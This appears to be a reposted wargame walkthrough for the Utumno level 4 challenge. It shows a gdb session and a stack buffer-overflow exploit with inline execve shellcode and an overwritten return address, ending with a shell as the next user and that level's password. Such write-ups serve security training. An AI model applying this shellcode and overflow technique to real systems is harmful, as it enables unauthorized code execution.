utumno - 4
来源:互联网 发布:网络主播公司 编辑:程序博客网 时间:2024/05/17 04:59
root@today:~/Desktop/misc/utumno/utumno4# ssh utumno4@178.79.134.250utumno4@melinda:~$ cd /tmp/utu4utumno4@melinda:/tmp/utu4$ gdb -tui /utumno/utumno4(gdb) layout asm(gdb) b *main+108Breakpoint 1 at 0x80484c9: file utumno4.c, line 36.(gdb) run 65536 `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" + "U" * 65270 + "\xff\xff\xff\xff" + "U" * 238'`Starting program: /games/utumno/utumno4 65536 `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" + "U" * 65270 + "\xff\xff\xff\xff" + "U" * 238'`Breakpoint 1, main (argc=1431655765, argv=0x55555555) at utumno4.c:36(gdb) x/8dbx $esp+0x1e0xfffdd6ce: 0x6a 0x0b 0x58 0x31 0xf6 0x56 0x68 0x2f
#so we get the buffer address is 0xfffdd6de or 0xfffdd6be
utumno4@melinda:/tmp/utu4$ /utumno/utumno4 65536 `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" + "U" * 65270 + "\xce\xd6\xfd\xff" + "U" * 238'`Segmentation faultutumno4@melinda:/tmp/utu4$ /utumno/utumno4 65536 `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" + "U" * 65270 + "\xbe\xd6\xfd\xff" + "U" * 238'` Illegal instructionutumno4@melinda:/tmp/utu4$ /utumno/utumno4 65536 `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" + "U" * 65270 + "\xde\xd6\xfd\xff" + "U" * 238'` $ whoamiutumno5$ cat /etc/utumno_pass/utumno5 woucaejiek$
0 0
- utumno - 4
- utumno - 0
- utumno - 1
- utumno - 2
- utumno - 3
- utumno - 5
- utumno - 6
- utumno - 7
- 170910 WarGames-Utumno(2)
- 170911 WarGames-Utumno(3)
- 170909 WarGames-Utumno(0-1)
- 4
- 4
- (4)
- 4
- 4
- 4
- 4
- Path相关方法讲解
- C++中extern “C”含义深层探索
- git clone权限被拒绝
- Android - 文件读写操作总结
- Xcode报错
- utumno - 4
- iOS 弹出一个透明的控制器
- 64位Linux(ubuntu)安装、运行32位程序
- 微信开发<一> 连接微信
- Java多线程(2) 同步
- HTML--GET和POST的区别
- android 自定义提示框Dialog
- 线程同步机制synchronized
- ios多语言适配